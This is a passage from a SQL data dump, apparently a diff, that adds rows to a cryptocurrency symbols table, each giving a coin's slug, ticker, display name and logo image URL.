'ABLX', 'ABLE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ablx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2045, 'matrexcoin', 'MAC', 'Matrexcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/matrexcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2046, 'atmos', 'ATMS', 'Atmos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atmos.png', NULL); +INSERT INTO `t_symbols` VALUES (2047, 'sterlingcoin', 'SLG', 'Sterlingcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sterlingcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2048, 'exchangecoin', 'EXCC', 'ExchangeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exchangecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2049, 'leadcoin', 'LDC', 'Leadcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/leadcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2050, 'yinfinance-yintoken', 'YIN', 'YIN Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/yinfinance.png', NULL); +INSERT INTO `t_symbols` VALUES (2051, 'neurotoken', 'NTK', 'Neurotoken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neurotoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2052, 'standard', 'STND', 'Standard', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/standard.png', NULL); +INSERT INTO `t_symbols` VALUES (2053, 'fintrux-network', 'FTX', 'FintruX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fintrux-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2054, 'flux', 'FLUX', 'Datamine FLUX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flux.png', NULL); +INSERT INTO `t_symbols` VALUES (2055, 'boxx-token-blockparty', 'BOXX', 'Blockparty', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boxx-token-blockparty.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2056, 'obsidian', 'ODN', 'Obsidian', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/obsidian.png', NULL); +INSERT INTO `t_symbols` VALUES (2057, 'delphy', 'DPY', 'Delphy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/delphy.png', NULL); +INSERT INTO `t_symbols` VALUES (2058, 'starbase', 'STAR', 'Starbase', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starbase.png', NULL); +INSERT INTO `t_symbols` VALUES (2059, 'pyn', 'PYN', 'PAYCENT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pyn.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2060, 'asian-dragon', 'AD', 'Asian Dragon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/asian-dragon.png', NULL); +INSERT INTO `t_symbols` VALUES (2061, 'ubex', 'UBEX', 'Ubex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ubex.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2062, 'rlx', 'RLX', 'Relex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rlx.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2063, '777-bingo', '777', '777', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/777-bingo.png', NULL); +INSERT INTO `t_symbols` VALUES (2064, 'btrs', 'BTRS', 'Bitball Treasure', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btrs.png', NULL); +INSERT INTO `t_symbols` VALUES (2065, 'atc-coin', 'ATCC', 'ATC Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atc-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2066, 'realchain', 'RCT', 'RealChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/realchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2067, 'defipie', 'PIE', 'DeFiPie', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/defipie.png', NULL); +INSERT INTO `t_symbols` VALUES (2068, 'dws', 'DWS', 'DWS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dws.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2069, 'exrt', 'EXRT', 'EXRT Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exrt.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2070, 'tera', 'TERA', 'TERA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tera.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2071, 'jet8', 'J8T', 'JET8', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jet8.png', NULL); +INSERT INTO `t_symbols` VALUES (2072, 'marrychain', 'MAC', 'marrychain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2073, 'hedge', 'HDG', 'Hedge', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hedge.png', NULL); +INSERT INTO `t_symbols` VALUES (2074, 'guccionecoin', 'GCC', 'GuccioneCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/guccionecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2075, 'biteur', 'BITEUR', 'bitEUR', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2076, 'lien', 'LIEN', 'Lien', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lien.png', NULL); +INSERT INTO `t_symbols` VALUES (2077, 'vslice', 'VSL', 'vSlice', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/vDice_io.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2078, 'gapcoin', 'GAP', 'Gapcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gapcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2079, 'global-currency-reserve', 'GCR', 'Global Currency Reserve', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/global-currency-reserve.png', NULL); +INSERT INTO `t_symbols` VALUES (2080, 'tattoocoin', 'TSE', 'Tattoocoin (Standard Edition)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tattoocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2081, 'content-and-ad-network', 'CAN', 'CAN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/content-and-ad-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2082, 'synergy', 'SNRG', 'Synergy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/synergy.png', NULL); +INSERT INTO `t_symbols` VALUES (2083, 'force', 'FOR', 'FORCE', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2084, 'playfuel', 'PLF', 'PlayFuel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/playfuel.png', NULL); +INSERT INTO `t_symbols` VALUES (2085, 'darkpaycoin', 'D4RK', 'Dark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/darkpaycoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2086, 'omnitude', 'ECOM', 'Omnitude', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/omnitude.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2087, 'datamine', 'DAM', 'Datamine', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/datamine.png', NULL); +INSERT INTO `t_symbols` VALUES (2088, 'condensate', 'RAIN', 'Condensate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/condensate.png', NULL); +INSERT INTO `t_symbols` VALUES (2089, 'newos', 'NEWOS', 'NewsToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/newos.png', NULL); +INSERT INTO `t_symbols` VALUES (2090, 'u-network', 'UUU', 'U Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/u-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2091, 'bitcoin-interest', 'BCI', 'Bitcoin Interest', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-interest.png', NULL); +INSERT INTO `t_symbols` VALUES (2092, 'unikoin-gold', 'UKG', 'Unikoin Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unikoin-gold.png', NULL); +INSERT INTO `t_symbols` VALUES (2093, 'zeepin', 'ZPT', 'Zeepin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zeepin.png', NULL); +INSERT INTO `t_symbols` VALUES (2094, 'data-transaction', 'DTC', 'Data Transaction', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/data-transaction.png', NULL); +INSERT INTO `t_symbols` VALUES (2095, 'tagcoin', 'TAG', 'Tagcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tagcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2096, 'bvt', 'BVT', 'VTChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bvt.png', NULL); +INSERT INTO `t_symbols` VALUES (2097, 'facc', 'FACC', 'FACC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/facc.png', NULL); +INSERT INTO `t_symbols` VALUES (2098, 'ac3', 'AC3', 'AC3', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ac3.png', NULL); +INSERT INTO `t_symbols` VALUES (2099, 'bigbom', 'BBO', 'Bigbom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bigbom.png', NULL); +INSERT INTO `t_symbols` VALUES (2100, 'pareto-network', 'PARETO', 'PARETO Rewards', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pareto-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2101, 'vgr', 'VGR', 'Voyager', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vgr.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2102, 'playitforwarddao', 'PIF', 'Play It Forward DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/playitforwarddao.png', NULL); +INSERT INTO `t_symbols` VALUES (2103, 'dos-network-token', 'DOS', 'DOS Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dos-network-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2104, 'monster-byte', 'MBI', 'Monster Byte', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/casinobitcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2105, 'tena', 'TENA', 'Tena [new]', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tena.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2106, 'ethereum-gold-project', 'ETGP', 'Ethereum Gold Project', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-gold-project.png', NULL); +INSERT INTO `t_symbols` VALUES (2107, 'cstrtoken', 'CSTR', 'CoreStarter', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/corestarter.png', NULL); +INSERT INTO `t_symbols` VALUES (2108, 'lomocoin', 'LMC', 'LoMoCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lomocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2109, 'formosa-financial', 'FMF', 'Formosa', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/formosa-financial.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2110, 'qbao', 'QBT', 'Qbao', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qbao.png', NULL); +INSERT INTO `t_symbols` VALUES (2111, 'bitcoen', 'BEN', 'BitCoen', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoen.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2112, 'castweet', 'CTT', 'Castweet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/castweet.png', NULL); +INSERT INTO `t_symbols` VALUES (2113, 'edc-blockchain', 'EDC', 'EDC Blockchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/edc-blockchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2114, 'verisafe', 'VSF', 'VeriSafe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verisafe.png', NULL); +INSERT INTO `t_symbols` VALUES (2115, 'darextravel', 'DART', 'DarexTravel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/darextravel.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2116, 'bitbtc', 'BITBTC', 'bitBTC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitbtc.png', NULL); +INSERT INTO `t_symbols` VALUES (2117, 'pointset', 'SET', 'pointset', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2118, 'pylon-finance', 'PYLON', 'Pylon Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pylon-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2119, 'swing', 'SWING', 'Swing', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swing.png', NULL); +INSERT INTO `t_symbols` VALUES (2120, 'actinium', 'ACM', 'Actinium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/actinium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2121, 'worldcore', 'WRC', 'Worldcore', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/worldcore.png', NULL); +INSERT INTO `t_symbols` VALUES (2122, 'caixa-pay', 'CXP', 'Caixa Pay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/caixa-pay.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2123, 'lht-coin', 'LHT', 'LHT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usdx.png', NULL); +INSERT INTO `t_symbols` VALUES (2124, 'masari', 'MSR', 'Masari', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/masari.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2125, 'evry', 'EVRY', 'EVRYNET', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/evrynet.png', NULL); +INSERT INTO `t_symbols` VALUES (2126, 'lightbit', 'LITB', 'LightBit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lightbit.png', NULL); +INSERT INTO `t_symbols` VALUES (2127, 'lever-token', 'LEV', 'Lever Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lever-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2128, 'bitblocks', 'BBK', 'Bitblocks', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitblocks.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2129, 'iht-real-estate-protocol', 'IHT', 'IHT Real Estate Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iht-real-estate-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (2130, 'cloud-opening-currency', 'YKC', 'cloud-opening-currency', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2131, 'view', 'VIEW', 'View', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/view.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2132, 'cheesecoin', 'CHEESE', 'Cheese', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cheesecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2133, 'pascal-coin', 'PASC', 'Pascal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pascal-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2134, 'medishares', 'MDS', 'MediShares', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/medishares.png', NULL); +INSERT INTO `t_symbols` VALUES (2135, 'powercoin', 'PWR', 'PWR Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/powercoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2136, 'givly-coin', 'GIV', 'GIV', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/givly-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2137, 'clzh', 'CLZH', 'clzh', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clzh.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2138, 'uto', 'UTO', 'UTour', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uto.png', NULL); +INSERT INTO `t_symbols` VALUES (2139, 'iptchain', 'IPT', 'IPTChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iptchain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2140, 'open-aurum', 'OA', 'Open Aurum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/open-aurum.png', NULL); +INSERT INTO `t_symbols` VALUES (2141, 'lethean', 'LTHN', 'Lethean', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lethean.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2142, 'astrotools', 'ASTRO', 'AstroTools', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/astrotools.png', NULL); +INSERT INTO `t_symbols` VALUES (2143, 'freicoin', 'FRC', 'Freicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Freicoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2144, 'vodi-x', 'VDX', 'Vodi X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/d01fdbe0e293c2acfeeac3e26b4ed680.png', NULL); +INSERT INTO `t_symbols` VALUES (2145, 'mochi-market', 'MOMA', 'Mochi Market', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mochi-market.png', NULL); +INSERT INTO `t_symbols` VALUES (2146, 'merculet', 'MVP', 'Merculet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/merculet.png', NULL); +INSERT INTO `t_symbols` VALUES (2147, 'lvtc', 'LVTC', 'lvtc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lvtc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2148, 'dracula-token', 'DRC', 'Dracula Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dracula-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2149, 'everycoin', 'EVY', 'EveryCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/everycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2150, 'bitcoin-scrypt', 'BTCS', 'Bitcoin Scrypt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-scrypt.png', NULL); +INSERT INTO `t_symbols` VALUES (2151, 'monarch-token', 'MT', 'Monarch', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monarch-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2152, 'miners-reward-token', 'MRT', 'MRT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/miners-reward-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2153, 'breakout', 'BRK', 'Breakout', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/BreakoutCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2154, 'pura', 'PURA', 'Pura', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pura.png', NULL); +INSERT INTO `t_symbols` VALUES (2155, 'dbx', 'DBX', 'DataBaseX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dbx.png', NULL); +INSERT INTO `t_symbols` VALUES (2156, 'bank-coin', 'BANK', 'CroBank', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bank-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2157, 'cadcoin', 'CAD', 'cad', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cadcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2158, 'hydrogen', 'HYDRO', 'Hydro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hydrogen.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2159, 'dfund', 'DFND', 'dFund', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dfund.png', NULL); +INSERT INTO `t_symbols` VALUES (2160, 'penta', 'PNT', 'Penta', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/penta.png', NULL); +INSERT INTO `t_symbols` VALUES (2161, 'bspt', 'BSPT', 'Blocksport', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/blocksport.png', NULL); +INSERT INTO `t_symbols` VALUES (2162, 'decision-token', 'HST', 'Decision Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decision-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2163, 'exclusivecoin', 'EXCL', 'ExclusiveCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exclusivecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2164, 'domraider', 'DRT', 'DomRaider', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/domraider.png', NULL); +INSERT INTO `t_symbols` VALUES (2165, 'midasprotocol', 'MAS', 'Midas Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/midasprotocol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2166, 'shivom', 'OMX', 'Project SHIVOM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shivom.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2167, 'adbank', 'ADB', 'adbank', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adbank.png', NULL); +INSERT INTO `t_symbols` VALUES (2168, 'blue-whale-token', 'BWX', 'Blue Whale EXchange', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blue-whale-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2169, 'stb', 'STB', 'STB Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stb.png', NULL); +INSERT INTO `t_symbols` VALUES (2170, 'magiccoin', 'MAGE', 'MagicCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/magiccoinio.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2171, 'tico', 'TICO', 'TICOEX Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tico.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2172, 'wet', 'WET', 'WeShow Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/WeShowGroup.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2173, 'elvntoken', 'ELVN', 'ElevenToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/11minutes.png', NULL); +INSERT INTO `t_symbols` VALUES (2174, 'arion', 'ARION', 'Arion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arion.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2175, 'xceltokenplus', 'XLAB', 'XCELTOKEN PLUS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xceltokenplus.png', NULL); +INSERT INTO `t_symbols` VALUES (2176, 'b2n', 'B2N', 'bitcoin2network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/b2n.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2177, 'bbs', 'BBS', 'BBSCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bbs.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2178, 'neumark', 'NEU', 'Neumark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neumark.png', NULL); +INSERT INTO `t_symbols` VALUES (2179, 'cashbery-coin', 'CBC', 'Cashbery Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cashbery-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2180, 'noir', 'NOR', 'Noir', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/noir.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2181, 'universal-currency', 'UNIT', 'Universal Currency', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/universal-currency.png', NULL); +INSERT INTO `t_symbols` VALUES (2182, 'lpk', 'LPK', 'Kripton', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lpk.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2183, 'chi-gastoken', 'CHI', 'Chi Gas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chi-gastoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2184, 'playkey', 'PKT', 'PlayKey', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/playkey.png', NULL); +INSERT INTO `t_symbols` VALUES (2185, 'olxa', 'OLXA', 'OLXA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/olxa.png', NULL); +INSERT INTO `t_symbols` VALUES (2186, 'luxcoin', 'LUX', 'LUXCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/luxcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2187, 'cbdao', 'BREE', 'CBDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cbdao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2188, 'bit-tube', 'TUBE', 'BitTube', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bit-tube.png', NULL); +INSERT INTO `t_symbols` VALUES (2189, 'nucleus-vision', 'NCASH', 'Nitro Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nucleus-vision.png', NULL); +INSERT INTO `t_symbols` VALUES (2190, 'blackmoon', 'BMC', 'Blackmoon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blackmoon.png', NULL); +INSERT INTO `t_symbols` VALUES (2191, 'pinkcoin', 'PINK', 'Pinkcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pinkcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2192, 'mediccoin', 'MEDIC', 'Medic Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mediccoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2193, 'glitzkoin', 'GTN', 'GlitzKoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/glitzkoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2194, 'arepacoin', 'AREPA', 'Arepacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arepacoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2195, 'zeusshield', 'ZSC', 'Zeusshield', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zeusshield.png', NULL); +INSERT INTO `t_symbols` VALUES (2196, 'sharder', 'SS', 'Sharder protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sharder.png', NULL); +INSERT INTO `t_symbols` VALUES (2197, 'zetacoin', 'ZET', 'Zetacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zetacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2198, 'primalbase', 'PBT', 'Primalbase Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/primalbase.png', NULL); +INSERT INTO `t_symbols` VALUES (2199, '2give', '2GIVE', '2GIVE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/2give.png', NULL); +INSERT INTO `t_symbols` VALUES (2200, 'commercium', 'CMM', 'Commercium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/commercium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2201, 'accelerator-network', 'ACC', 'Accelerator Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/accelerator-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2202, 'savenode', 'SNO', 'SaveNode', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/savenode.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2203, 'bananacoin', 'BCO', 'BananaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bananacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2204, 'bitsum', 'MAT', 'Matka', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitsum.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2205, 'insanecoin-insn', 'INSN', 